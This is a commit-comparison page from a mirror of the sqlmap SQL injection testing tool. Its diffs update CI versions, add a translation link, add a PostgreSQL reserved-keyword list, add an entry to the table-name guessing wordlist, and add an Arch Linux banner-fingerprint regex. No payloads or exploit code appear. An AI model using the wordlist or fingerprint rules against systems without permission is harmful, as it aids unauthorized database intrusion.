mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8e39c6fc3d | ||
|
|
d9e540e8b2 | ||
|
|
e0ad99d534 | ||
|
|
5f5ee6ca68 | ||
|
|
7a5538ab3e | ||
|
|
125de093df | ||
|
|
dc6e7321e9 | ||
|
|
1023da405a | ||
|
|
013af3235e | ||
|
|
2a1e812288 | ||
|
|
44b7cc7d17 | ||
|
|
60a2d74f2b | ||
|
|
83fecfc1ba | ||
|
|
86c6e3d5fc | ||
|
|
5eb2263c42 | ||
|
|
7ff77ef052 | ||
|
|
5c82f30fd8 | ||
|
|
3f17dc4747 | ||
|
|
e1502e0cea | ||
|
|
c3fe9a0d47 | ||
|
|
f8b2cb5a0a | ||
|
|
597013477d | ||
|
|
0453a2827c | ||
|
|
0605f14d87 | ||
|
|
176e89d978 | ||
|
|
b7cdcebcea | ||
|
|
1fb1a05a78 | ||
|
|
2d48b8effa | ||
|
|
4ef9557ccd | ||
|
|
3513ca66fe | ||
|
|
6467c63c24 | ||
|
|
f19f38d1d5 | ||
|
|
a0b279848d | ||
|
|
ec80009812 | ||
|
|
19e08416b5 | ||
|
|
6825bf85a4 | ||
|
|
4fa39f4539 | ||
|
|
a989e1abfe | ||
|
|
c71bdf5c9e | ||
|
|
1b92acc033 | ||
|
|
f968b23f63 | ||
|
|
5f39016af7 | ||
|
|
1dd400f93d | ||
|
|
feb1df6a05 | ||
|
|
4772a9243a | ||
|
|
8649021b78 | ||
|
|
9d6c931faa | ||
|
|
264a270985 | ||
|
|
4278bbce11 | ||
|
|
db126af86a | ||
|
|
18b72e605a | ||
|
|
0e4232f533 | ||
|
|
e448905eb1 | ||
|
|
ee7aa68da8 | ||
|
|
2fc4d17cbc | ||
|
|
93aa981e4f | ||
|
|
a4cb6dbb00 | ||
|
|
4e3af35ceb | ||
|
|
5d7b7d6bca | ||
|
|
8ab4f6214f | ||
|
|
8d343fc2a6 | ||
|
|
421f1878e3 | ||
|
|
f21388d550 | ||
|
|
f38a2c2028 | ||
|
|
22bf77161a | ||
|
|
186b3920e7 | ||
|
|
d227413a14 | ||
|
|
70df6d8b22 | ||
|
|
6d05985aef | ||
|
|
8c57b9cd4c | ||
|
|
4cf14c80eb | ||
|
|
615ac3b733 | ||
|
|
b2d6ab2949 | ||
|
|
39be0f30d8 | ||
|
|
6f54be987f | ||
|
|
35fa710eed | ||
|
|
f2518f7112 | ||
|
|
3779531540 | ||
|
|
447e5ec0ea | ||
|
|
d5fab1907d | ||
|
|
ec4880e0e1 | ||
|
|
984808cc26 | ||
|
|
6b1f4965ed | ||
|
|
e8be9e4af4 | ||
|
|
5b1574614d | ||
|
|
2c19d16830 | ||
|
|
60b642e2bd | ||
|
|
20700fd6b9 | ||
|
|
4be7c7dcee | ||
|
|
5ab2dfd0d9 | ||
|
|
f0f1cf1b21 | ||
|
|
b25181f061 | ||
|
|
9f85412017 | ||
|
|
4c804a3fd6 | ||
|
|
d7a56017bf | ||
|
|
ef59a365f4 | ||
|
|
1087396d88 | ||
|
|
1cfe370276 | ||
|
|
3776f2eeea | ||
|
|
a6c26fe792 | ||
|
|
c082067902 | ||
|
|
e37c22793b | ||
|
|
14005f476d | ||
|
|
eb3a3b4825 | ||
|
|
71b33e5956 | ||
|
|
ab203c1ec5 | ||
|
|
e7dd7e2d48 | ||
|
|
89aff21fb6 | ||
|
|
c95c370254 | ||
|
|
239e4d7927 | ||
|
|
dbebb34bc8 | ||
|
|
0e9dd9b0be | ||
|
|
57f17794c4 | ||
|
|
7a0a4c28e5 | ||
|
|
0ea39098bd | ||
|
|
49afd47c13 | ||
|
|
dc9e2df3c6 | ||
|
|
3a048a9e67 | ||
|
|
6b45199766 | ||
|
|
bb51c0e41e | ||
|
|
5d62195a41 | ||
|
|
8ace3363bd | ||
|
|
4606d5afd5 | ||
|
|
e9ec443a8a |
+2
-2
@@ -9,8 +9,8 @@ jobs:
|
|||||||
dist: trusty
|
dist: trusty
|
||||||
- python: 3.6
|
- python: 3.6
|
||||||
dist: trusty
|
dist: trusty
|
||||||
- python: 3.8
|
- python: 3.9-dev
|
||||||
dist: xenial
|
dist: bionic
|
||||||
sudo: false
|
sudo: false
|
||||||
git:
|
git:
|
||||||
depth: 1
|
depth: 1
|
||||||
|
|||||||
@@ -64,6 +64,7 @@ Translations
|
|||||||
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
||||||
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
||||||
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
|
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
|
||||||
|
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
|
||||||
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
||||||
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
||||||
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
||||||
|
|||||||
@@ -442,6 +442,7 @@ exchange
|
|||||||
Status
|
Status
|
||||||
WORKS_ON
|
WORKS_ON
|
||||||
lines
|
lines
|
||||||
|
testusers
|
||||||
booleantests
|
booleantests
|
||||||
QRTZ_SIMPLE_TRIGGERS
|
QRTZ_SIMPLE_TRIGGERS
|
||||||
mobile_menu
|
mobile_menu
|
||||||
|
|||||||
@@ -259,6 +259,7 @@ YEAR
|
|||||||
ZONE
|
ZONE
|
||||||
|
|
||||||
# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
|
# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
|
||||||
|
|
||||||
ADD
|
ADD
|
||||||
ALL
|
ALL
|
||||||
ALTER
|
ALTER
|
||||||
@@ -450,3 +451,752 @@ WITH
|
|||||||
WRITEXOR
|
WRITEXOR
|
||||||
YEAR_MONTH
|
YEAR_MONTH
|
||||||
ZEROFILL
|
ZEROFILL
|
||||||
|
|
||||||
|
# PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html)
|
||||||
|
|
||||||
|
A
|
||||||
|
ABORT
|
||||||
|
ABS
|
||||||
|
ABSENT
|
||||||
|
ABSOLUTE
|
||||||
|
ACCESS
|
||||||
|
ACCORDING
|
||||||
|
ACTION
|
||||||
|
ADA
|
||||||
|
ADD
|
||||||
|
ADMIN
|
||||||
|
AFTER
|
||||||
|
AGGREGATE
|
||||||
|
ALL
|
||||||
|
ALLOCATE
|
||||||
|
ALSO
|
||||||
|
ALTER
|
||||||
|
ALWAYS
|
||||||
|
ANALYSE
|
||||||
|
ANALYZE
|
||||||
|
AND
|
||||||
|
ANY
|
||||||
|
ARE
|
||||||
|
ARRAY
|
||||||
|
ARRAY_AGG
|
||||||
|
ARRAY_MAX_CARDINALITY
|
||||||
|
AS
|
||||||
|
ASC
|
||||||
|
ASENSITIVE
|
||||||
|
ASSERTION
|
||||||
|
ASSIGNMENT
|
||||||
|
ASYMMETRIC
|
||||||
|
AT
|
||||||
|
ATOMIC
|
||||||
|
ATTRIBUTE
|
||||||
|
ATTRIBUTES
|
||||||
|
AUTHORIZATION
|
||||||
|
AVG
|
||||||
|
BACKWARD
|
||||||
|
BASE64
|
||||||
|
BEFORE
|
||||||
|
BEGIN
|
||||||
|
BEGIN_FRAME
|
||||||
|
BEGIN_PARTITION
|
||||||
|
BERNOULLI
|
||||||
|
BETWEEN
|
||||||
|
BIGINT
|
||||||
|
BINARY
|
||||||
|
BIT
|
||||||
|
BIT_LENGTH
|
||||||
|
BLOB
|
||||||
|
BLOCKED
|
||||||
|
BOM
|
||||||
|
BOOLEAN
|
||||||
|
BOTH
|
||||||
|
BREADTH
|
||||||
|
BY
|
||||||
|
C
|
||||||
|
CACHE
|
||||||
|
CALL
|
||||||
|
CALLED
|
||||||
|
CARDINALITY
|
||||||
|
CASCADE
|
||||||
|
CASCADED
|
||||||
|
CASE
|
||||||
|
CAST
|
||||||
|
CATALOG
|
||||||
|
CATALOG_NAME
|
||||||
|
CEIL
|
||||||
|
CEILING
|
||||||
|
CHAIN
|
||||||
|
CHAR
|
||||||
|
CHARACTER
|
||||||
|
CHARACTERISTICS
|
||||||
|
CHARACTERS
|
||||||
|
CHARACTER_LENGTH
|
||||||
|
CHARACTER_SET_CATALOG
|
||||||
|
CHARACTER_SET_NAME
|
||||||
|
CHARACTER_SET_SCHEMA
|
||||||
|
CHAR_LENGTH
|
||||||
|
CHECK
|
||||||
|
CHECKPOINT
|
||||||
|
CLASS
|
||||||
|
CLASS_ORIGIN
|
||||||
|
CLOB
|
||||||
|
CLOSE
|
||||||
|
CLUSTER
|
||||||
|
COALESCE
|
||||||
|
COBOL
|
||||||
|
COLLATE
|
||||||
|
COLLATION
|
||||||
|
COLLATION_CATALOG
|
||||||
|
COLLATION_NAME
|
||||||
|
COLLATION_SCHEMA
|
||||||
|
COLLECT
|
||||||
|
COLUMN
|
||||||
|
COLUMNS
|
||||||
|
COLUMN_NAME
|
||||||
|
COMMAND_FUNCTION
|
||||||
|
COMMAND_FUNCTION_CODE
|
||||||
|
COMMENT
|
||||||
|
COMMENTS
|
||||||
|
COMMIT
|
||||||
|
COMMITTED
|
||||||
|
CONCURRENTLY
|
||||||
|
CONDITION
|
||||||
|
CONDITION_NUMBER
|
||||||
|
CONFIGURATION
|
||||||
|
CONNECT
|
||||||
|
CONNECTION
|
||||||
|
CONNECTION_NAME
|
||||||
|
CONSTRAINT
|
||||||
|
CONSTRAINTS
|
||||||
|
CONSTRAINT_CATALOG
|
||||||
|
CONSTRAINT_NAME
|
||||||
|
CONSTRAINT_SCHEMA
|
||||||
|
CONSTRUCTOR
|
||||||
|
CONTAINS
|
||||||
|
CONTENT
|
||||||
|
CONTINUE
|
||||||
|
CONTROL
|
||||||
|
CONVERSION
|
||||||
|
CONVERT
|
||||||
|
COPY
|
||||||
|
CORR
|
||||||
|
CORRESPONDING
|
||||||
|
COST
|
||||||
|
COUNT
|
||||||
|
COVAR_POP
|
||||||
|
COVAR_SAMP
|
||||||
|
CREATE
|
||||||
|
CROSS
|
||||||
|
CSV
|
||||||
|
CUBE
|
||||||
|
CUME_DIST
|
||||||
|
CURRENT
|
||||||
|
CURRENT_CATALOG
|
||||||
|
CURRENT_DATE
|
||||||
|
CURRENT_DEFAULT_TRANSFORM_GROUP
|
||||||
|
CURRENT_PATH
|
||||||
|
CURRENT_ROLE
|
||||||
|
CURRENT_ROW
|
||||||
|
CURRENT_SCHEMA
|
||||||
|
CURRENT_TIME
|
||||||
|
CURRENT_TIMESTAMP
|
||||||
|
CURRENT_TRANSFORM_GROUP_FOR_TYPE
|
||||||
|
CURRENT_USER
|
||||||
|
CURSOR
|
||||||
|
CURSOR_NAME
|
||||||
|
CYCLE
|
||||||
|
DATA
|
||||||
|
DATABASE
|
||||||
|
DATALINK
|
||||||
|
DATE
|
||||||
|
DATETIME_INTERVAL_CODE
|
||||||
|
DATETIME_INTERVAL_PRECISION
|
||||||
|
DAY
|
||||||
|
DB
|
||||||
|
DEALLOCATE
|
||||||
|
DEC
|
||||||
|
DECIMAL
|
||||||
|
DECLARE
|
||||||
|
DEFAULT
|
||||||
|
DEFAULTS
|
||||||
|
DEFERRABLE
|
||||||
|
DEFERRED
|
||||||
|
DEFINED
|
||||||
|
DEFINER
|
||||||
|
DEGREE
|
||||||
|
DELETE
|
||||||
|
DELIMITER
|
||||||
|
DELIMITERS
|
||||||
|
DENSE_RANK
|
||||||
|
DEPTH
|
||||||
|
DEREF
|
||||||
|
DERIVED
|
||||||
|
DESC
|
||||||
|
DESCRIBE
|
||||||
|
DESCRIPTOR
|
||||||
|
DETERMINISTIC
|
||||||
|
DIAGNOSTICS
|
||||||
|
DICTIONARY
|
||||||
|
DISABLE
|
||||||
|
DISCARD
|
||||||
|
DISCONNECT
|
||||||
|
DISPATCH
|
||||||
|
DISTINCT
|
||||||
|
DLNEWCOPY
|
||||||
|
DLPREVIOUSCOPY
|
||||||
|
DLURLCOMPLETE
|
||||||
|
DLURLCOMPLETEONLY
|
||||||
|
DLURLCOMPLETEWRITE
|
||||||
|
DLURLPATH
|
||||||
|
DLURLPATHONLY
|
||||||
|
DLURLPATHWRITE
|
||||||
|
DLURLSCHEME
|
||||||
|
DLURLSERVER
|
||||||
|
DLVALUE
|
||||||
|
DO
|
||||||
|
DOCUMENT
|
||||||
|
DOMAIN
|
||||||
|
DOUBLE
|
||||||
|
DROP
|
||||||
|
DYNAMIC
|
||||||
|
DYNAMIC_FUNCTION
|
||||||
|
DYNAMIC_FUNCTION_CODE
|
||||||
|
EACH
|
||||||
|
ELEMENT
|
||||||
|
ELSE
|
||||||
|
EMPTY
|
||||||
|
ENABLE
|
||||||
|
ENCODING
|
||||||
|
ENCRYPTED
|
||||||
|
END
|
||||||
|
END-EXEC
|
||||||
|
END_FRAME
|
||||||
|
END_PARTITION
|
||||||
|
ENFORCED
|
||||||
|
ENUM
|
||||||
|
EQUALS
|
||||||
|
ESCAPE
|
||||||
|
EVENT
|
||||||
|
EVERY
|
||||||
|
EXCEPT
|
||||||
|
EXCEPTION
|
||||||
|
EXCLUDE
|
||||||
|
EXCLUDING
|
||||||
|
EXCLUSIVE
|
||||||
|
EXEC
|
||||||
|
EXECUTE
|
||||||
|
EXISTS
|
||||||
|
EXP
|
||||||
|
EXPLAIN
|
||||||
|
EXPRESSION
|
||||||
|
EXTENSION
|
||||||
|
EXTERNAL
|
||||||
|
EXTRACT
|
||||||
|
FALSE
|
||||||
|
FAMILY
|
||||||
|
FETCH
|
||||||
|
FILE
|
||||||
|
FILTER
|
||||||
|
FINAL
|
||||||
|
FIRST
|
||||||
|
FIRST_VALUE
|
||||||
|
FLAG
|
||||||
|
FLOAT
|
||||||
|
FLOOR
|
||||||
|
FOLLOWING
|
||||||
|
FOR
|
||||||
|
FORCE
|
||||||
|
FOREIGN
|
||||||
|
FORTRAN
|
||||||
|
FORWARD
|
||||||
|
FOUND
|
||||||
|
FRAME_ROW
|
||||||
|
FREE
|
||||||
|
FREEZE
|
||||||
|
FROM
|
||||||
|
FS
|
||||||
|
FULL
|
||||||
|
FUNCTION
|
||||||
|
FUNCTIONS
|
||||||
|
FUSION
|
||||||
|
G
|
||||||
|
GENERAL
|
||||||
|
GENERATED
|
||||||
|
GET
|
||||||
|
GLOBAL
|
||||||
|
GO
|
||||||
|
GOTO
|
||||||
|
GRANT
|
||||||
|
GRANTED
|
||||||
|
GREATEST
|
||||||
|
GROUP
|
||||||
|
GROUPING
|
||||||
|
GROUPS
|
||||||
|
HANDLER
|
||||||
|
HAVING
|
||||||
|
HEADER
|
||||||
|
HEX
|
||||||
|
HIERARCHY
|
||||||
|
HOLD
|
||||||
|
HOUR
|
||||||
|
ID
|
||||||
|
IDENTITY
|
||||||
|
IF
|
||||||
|
IGNORE
|
||||||
|
ILIKE
|
||||||
|
IMMEDIATE
|
||||||
|
IMMEDIATELY
|
||||||
|
IMMUTABLE
|
||||||
|
IMPLEMENTATION
|
||||||
|
IMPLICIT
|
||||||
|
IMPORT
|
||||||
|
IN
|
||||||
|
INCLUDING
|
||||||
|
INCREMENT
|
||||||
|
INDENT
|
||||||
|
INDEX
|
||||||
|
INDEXES
|
||||||
|
INDICATOR
|
||||||
|
INHERIT
|
||||||
|
INHERITS
|
||||||
|
INITIALLY
|
||||||
|
INLINE
|
||||||
|
INNER
|
||||||
|
INOUT
|
||||||
|
INPUT
|
||||||
|
INSENSITIVE
|
||||||
|
INSERT
|
||||||
|
INSTANCE
|
||||||
|
INSTANTIABLE
|
||||||
|
INSTEAD
|
||||||
|
INT
|
||||||
|
INTEGER
|
||||||
|
INTEGRITY
|
||||||
|
INTERSECT
|
||||||
|
INTERSECTION
|
||||||
|
INTERVAL
|
||||||
|
INTO
|
||||||
|
INVOKER
|
||||||
|
IS
|
||||||
|
ISNULL
|
||||||
|
ISOLATION
|
||||||
|
JOIN
|
||||||
|
K
|
||||||
|
KEY
|
||||||
|
KEY_MEMBER
|
||||||
|
KEY_TYPE
|
||||||
|
LABEL
|
||||||
|
LAG
|
||||||
|
LANGUAGE
|
||||||
|
LARGE
|
||||||
|
LAST
|
||||||
|
LAST_VALUE
|
||||||
|
LATERAL
|
||||||
|
LC_COLLATE
|
||||||
|
LC_CTYPE
|
||||||
|
LEAD
|
||||||
|
LEADING
|
||||||
|
LEAKPROOF
|
||||||
|
LEAST
|
||||||
|
LEFT
|
||||||
|
LENGTH
|
||||||
|
LEVEL
|
||||||
|
LIBRARY
|
||||||
|
LIKE
|
||||||
|
LIKE_REGEX
|
||||||
|
LIMIT
|
||||||
|
LINK
|
||||||
|
LISTEN
|
||||||
|
LN
|
||||||
|
LOAD
|
||||||
|
LOCAL
|
||||||
|
LOCALTIME
|
||||||
|
LOCALTIMESTAMP
|
||||||
|
LOCATION
|
||||||
|
LOCATOR
|
||||||
|
LOCK
|
||||||
|
LOWER
|
||||||
|
M
|
||||||
|
MAP
|
||||||
|
MAPPING
|
||||||
|
MATCH
|
||||||
|
MATCHED
|
||||||
|
MATERIALIZED
|
||||||
|
MAX
|
||||||
|
MAXVALUE
|
||||||
|
MAX_CARDINALITY
|
||||||
|
MEMBER
|
||||||
|
MERGE
|
||||||
|
MESSAGE_LENGTH
|
||||||
|
MESSAGE_OCTET_LENGTH
|
||||||
|
MESSAGE_TEXT
|
||||||
|
METHOD
|
||||||
|
MIN
|
||||||
|
MINUTE
|
||||||
|
MINVALUE
|
||||||
|
MOD
|
||||||
|
MODE
|
||||||
|
MODIFIES
|
||||||
|
MODULE
|
||||||
|
MONTH
|
||||||
|
MORE
|
||||||
|
MOVE
|
||||||
|
MULTISET
|
||||||
|
MUMPS
|
||||||
|
NAME
|
||||||
|
NAMES
|
||||||
|
NAMESPACE
|
||||||
|
NATIONAL
|
||||||
|
NATURAL
|
||||||
|
NCHAR
|
||||||
|
NCLOB
|
||||||
|
NESTING
|
||||||
|
NEW
|
||||||
|
NEXT
|
||||||
|
NFC
|
||||||
|
NFD
|
||||||
|
NFKC
|
||||||
|
NFKD
|
||||||
|
NIL
|
||||||
|
NO
|
||||||
|
NONE
|
||||||
|
NORMALIZE
|
||||||
|
NORMALIZED
|
||||||
|
NOT
|
||||||
|
NOTHING
|
||||||
|
NOTIFY
|
||||||
|
NOTNULL
|
||||||
|
NOWAIT
|
||||||
|
NTH_VALUE
|
||||||
|
NTILE
|
||||||
|
NULL
|
||||||
|
NULLABLE
|
||||||
|
NULLIF
|
||||||
|
NULLS
|
||||||
|
NUMBER
|
||||||
|
NUMERIC
|
||||||
|
OBJECT
|
||||||
|
OCCURRENCES_REGEX
|
||||||
|
OCTETS
|
||||||
|
OCTET_LENGTH
|
||||||
|
OF
|
||||||
|
OFF
|
||||||
|
OFFSET
|
||||||
|
OIDS
|
||||||
|
OLD
|
||||||
|
ON
|
||||||
|
ONLY
|
||||||
|
OPEN
|
||||||
|
OPERATOR
|
||||||
|
OPTION
|
||||||
|
OPTIONS
|
||||||
|
OR
|
||||||
|
ORDER
|
||||||
|
ORDERING
|
||||||
|
ORDINALITY
|
||||||
|
OTHERS
|
||||||
|
OUT
|
||||||
|
OUTER
|
||||||
|
OUTPUT
|
||||||
|
OVER
|
||||||
|
OVERLAPS
|
||||||
|
OVERLAY
|
||||||
|
OVERRIDING
|
||||||
|
OWNED
|
||||||
|
OWNER
|
||||||
|
P
|
||||||
|
PAD
|
||||||
|
PARAMETER
|
||||||
|
PARAMETER_MODE
|
||||||
|
PARAMETER_NAME
|
||||||
|
PARAMETER_ORDINAL_POSITION
|
||||||
|
PARAMETER_SPECIFIC_CATALOG
|
||||||
|
PARAMETER_SPECIFIC_NAME
|
||||||
|
PARAMETER_SPECIFIC_SCHEMA
|
||||||
|
PARSER
|
||||||
|
PARTIAL
|
||||||
|
PARTITION
|
||||||
|
PASCAL
|
||||||
|
PASSING
|
||||||
|
PASSTHROUGH
|
||||||
|
PASSWORD
|
||||||
|
PATH
|
||||||
|
PERCENT
|
||||||
|
PERCENTILE_CONT
|
||||||
|
PERCENTILE_DISC
|
||||||
|
PERCENT_RANK
|
||||||
|
PERIOD
|
||||||
|
PERMISSION
|
||||||
|
PLACING
|
||||||
|
PLANS
|
||||||
|
PLI
|
||||||
|
PORTION
|
||||||
|
POSITION
|
||||||
|
POSITION_REGEX
|
||||||
|
POWER
|
||||||
|
PRECEDES
|
||||||
|
PRECEDING
|
||||||
|
PRECISION
|
||||||
|
PREPARE
|
||||||
|
PREPARED
|
||||||
|
PRESERVE
|
||||||
|
PRIMARY
|
||||||
|
PRIOR
|
||||||
|
PRIVILEGES
|
||||||
|
PROCEDURAL
|
||||||
|
PROCEDURE
|
||||||
|
PROGRAM
|
||||||
|
PUBLIC
|
||||||
|
QUOTE
|
||||||
|
RANGE
|
||||||
|
RANK
|
||||||
|
READ
|
||||||
|
READS
|
||||||
|
REAL
|
||||||
|
REASSIGN
|
||||||
|
RECHECK
|
||||||
|
RECOVERY
|
||||||
|
RECURSIVE
|
||||||
|
REF
|
||||||
|
REFERENCES
|
||||||
|
REFERENCING
|
||||||
|
REFRESH
|
||||||
|
REGR_AVGX
|
||||||
|
REGR_AVGY
|
||||||
|
REGR_COUNT
|
||||||
|
REGR_INTERCEPT
|
||||||
|
REGR_R2
|
||||||
|
REGR_SLOPE
|
||||||
|
REGR_SXX
|
||||||
|
REGR_SXY
|
||||||
|
REGR_SYY
|
||||||
|
REINDEX
|
||||||
|
RELATIVE
|
||||||
|
RELEASE
|
||||||
|
RENAME
|
||||||
|
REPEATABLE
|
||||||
|
REPLACE
|
||||||
|
REPLICA
|
||||||
|
REQUIRING
|
||||||
|
RESET
|
||||||
|
RESPECT
|
||||||
|
RESTART
|
||||||
|
RESTORE
|
||||||
|
RESTRICT
|
||||||
|
RESULT
|
||||||
|
RETURN
|
||||||
|
RETURNED_CARDINALITY
|
||||||
|
RETURNED_LENGTH
|
||||||
|
RETURNED_OCTET_LENGTH
|
||||||
|
RETURNED_SQLSTATE
|
||||||
|
RETURNING
|
||||||
|
RETURNS
|
||||||
|
REVOKE
|
||||||
|
RIGHT
|
||||||
|
ROLE
|
||||||
|
ROLLBACK
|
||||||
|
ROLLUP
|
||||||
|
ROUTINE
|
||||||
|
ROUTINE_CATALOG
|
||||||
|
ROUTINE_NAME
|
||||||
|
ROUTINE_SCHEMA
|
||||||
|
ROW
|
||||||
|
ROWS
|
||||||
|
ROW_COUNT
|
||||||
|
ROW_NUMBER
|
||||||
|
RULE
|
||||||
|
SAVEPOINT
|
||||||
|
SCALE
|
||||||
|
SCHEMA
|
||||||
|
SCHEMA_NAME
|
||||||
|
SCOPE
|
||||||
|
SCOPE_CATALOG
|
||||||
|
SCOPE_NAME
|
||||||
|
SCOPE_SCHEMA
|
||||||
|
SCROLL
|
||||||
|
SEARCH
|
||||||
|
SECOND
|
||||||
|
SECTION
|
||||||
|
SECURITY
|
||||||
|
SELECT
|
||||||
|
SELECTIVE
|
||||||
|
SELF
|
||||||
|
SENSITIVE
|
||||||
|
SEQUENCE
|
||||||
|
SEQUENCES
|
||||||
|
SERIALIZABLE
|
||||||
|
SERVER
|
||||||
|
SERVER_NAME
|
||||||
|
SESSION
|
||||||
|
SESSION_USER
|
||||||
|
SET
|
||||||
|
SETOF
|
||||||
|
SETS
|
||||||
|
SHARE
|
||||||
|
SHOW
|
||||||
|
SIMILAR
|
||||||
|
SIMPLE
|
||||||
|
SIZE
|
||||||
|
SMALLINT
|
||||||
|
SNAPSHOT
|
||||||
|
SOME
|
||||||
|
SOURCE
|
||||||
|
SPACE
|
||||||
|
SPECIFIC
|
||||||
|
SPECIFICTYPE
|
||||||
|
SPECIFIC_NAME
|
||||||
|
SQL
|
||||||
|
SQLCODE
|
||||||
|
SQLERROR
|
||||||
|
SQLEXCEPTION
|
||||||
|
SQLSTATE
|
||||||
|
SQLWARNING
|
||||||
|
SQRT
|
||||||
|
STABLE
|
||||||
|
STANDALONE
|
||||||
|
START
|
||||||
|
STATE
|
||||||
|
STATEMENT
|
||||||
|
STATIC
|
||||||
|
STATISTICS
|
||||||
|
STDDEV_POP
|
||||||
|
STDDEV_SAMP
|
||||||
|
STDIN
|
||||||
|
STDOUT
|
||||||
|
STORAGE
|
||||||
|
STRICT
|
||||||
|
STRIP
|
||||||
|
STRUCTURE
|
||||||
|
STYLE
|
||||||
|
SUBCLASS_ORIGIN
|
||||||
|
SUBMULTISET
|
||||||
|
SUBSTRING
|
||||||
|
SUBSTRING_REGEX
|
||||||
|
SUCCEEDS
|
||||||
|
SUM
|
||||||
|
SYMMETRIC
|
||||||
|
SYSID
|
||||||
|
SYSTEM
|
||||||
|
SYSTEM_TIME
|
||||||
|
SYSTEM_USER
|
||||||
|
T
|
||||||
|
TABLE
|
||||||
|
TABLES
|
||||||
|
TABLESAMPLE
|
||||||
|
TABLESPACE
|
||||||
|
TABLE_NAME
|
||||||
|
TEMP
|
||||||
|
TEMPLATE
|
||||||
|
TEMPORARY
|
||||||
|
TEXT
|
||||||
|
THEN
|
||||||
|
TIES
|
||||||
|
TIME
|
||||||
|
TIMESTAMP
|
||||||
|
TIMEZONE_HOUR
|
||||||
|
TIMEZONE_MINUTE
|
||||||
|
TO
|
||||||
|
TOKEN
|
||||||
|
TOP_LEVEL_COUNT
|
||||||
|
TRAILING
|
||||||
|
TRANSACTION
|
||||||
|
TRANSACTIONS_COMMITTED
|
||||||
|
TRANSACTIONS_ROLLED_BACK
|
||||||
|
TRANSACTION_ACTIVE
|
||||||
|
TRANSFORM
|
||||||
|
TRANSFORMS
|
||||||
|
TRANSLATE
|
||||||
|
TRANSLATE_REGEX
|
||||||
|
TRANSLATION
|
||||||
|
TREAT
|
||||||
|
TRIGGER
|
||||||
|
TRIGGER_CATALOG
|
||||||
|
TRIGGER_NAME
|
||||||
|
TRIGGER_SCHEMA
|
||||||
|
TRIM
|
||||||
|
TRIM_ARRAY
|
||||||
|
TRUE
|
||||||
|
TRUNCATE
|
||||||
|
TRUSTED
|
||||||
|
TYPE
|
||||||
|
TYPES
|
||||||
|
UESCAPE
|
||||||
|
UNBOUNDED
|
||||||
|
UNCOMMITTED
|
||||||
|
UNDER
|
||||||
|
UNENCRYPTED
|
||||||
|
UNION
|
||||||
|
UNIQUE
|
||||||
|
UNKNOWN
|
||||||
|
UNLINK
|
||||||
|
UNLISTEN
|
||||||
|
UNLOGGED
|
||||||
|
UNNAMED
|
||||||
|
UNNEST
|
||||||
|
UNTIL
|
||||||
|
UNTYPED
|
||||||
|
UPDATE
|
||||||
|
UPPER
|
||||||
|
URI
|
||||||
|
USAGE
|
||||||
|
USER
|
||||||
|
USER_DEFINED_TYPE_CATALOG
|
||||||
|
USER_DEFINED_TYPE_CODE
|
||||||
|
USER_DEFINED_TYPE_NAME
|
||||||
|
USER_DEFINED_TYPE_SCHEMA
|
||||||
|
USING
|
||||||
|
VACUUM
|
||||||
|
VALID
|
||||||
|
VALIDATE
|
||||||
|
VALIDATOR
|
||||||
|
VALUE
|
||||||
|
VALUES
|
||||||
|
VALUE_OF
|
||||||
|
VARBINARY
|
||||||
|
VARCHAR
|
||||||
|
VARIADIC
|
||||||
|
VARYING
|
||||||
|
VAR_POP
|
||||||
|
VAR_SAMP
|
||||||
|
VERBOSE
|
||||||
|
VERSION
|
||||||
|
VERSIONING
|
||||||
|
VIEW
|
||||||
|
VOLATILE
|
||||||
|
WHEN
|
||||||
|
WHENEVER
|
||||||
|
WHERE
|
||||||
|
WHITESPACE
|
||||||
|
WIDTH_BUCKET
|
||||||
|
WINDOW
|
||||||
|
WITH
|
||||||
|
WITHIN
|
||||||
|
WITHOUT
|
||||||
|
WORK
|
||||||
|
WRAPPER
|
||||||
|
WRITE
|
||||||
|
XML
|
||||||
|
XMLAGG
|
||||||
|
XMLATTRIBUTES
|
||||||
|
XMLBINARY
|
||||||
|
XMLCAST
|
||||||
|
XMLCOMMENT
|
||||||
|
XMLCONCAT
|
||||||
|
XMLDECLARATION
|
||||||
|
XMLDOCUMENT
|
||||||
|
XMLELEMENT
|
||||||
|
XMLEXISTS
|
||||||
|
XMLFOREST
|
||||||
|
XMLITERATE
|
||||||
|
XMLNAMESPACES
|
||||||
|
XMLPARSE
|
||||||
|
XMLPI
|
||||||
|
XMLQUERY
|
||||||
|
XMLROOT
|
||||||
|
XMLSCHEMA
|
||||||
|
XMLSERIALIZE
|
||||||
|
XMLTABLE
|
||||||
|
XMLTEXT
|
||||||
|
XMLVALIDATE
|
||||||
|
YEAR
|
||||||
|
YES
|
||||||
|
ZONE
|
||||||
|
|||||||
@@ -83,6 +83,10 @@
|
|||||||
<info type="Linux"/>
|
<info type="Linux"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bArch\b">
|
||||||
|
<info type="Linux" distrib="Arch"/>
|
||||||
|
</regexp>
|
||||||
|
|
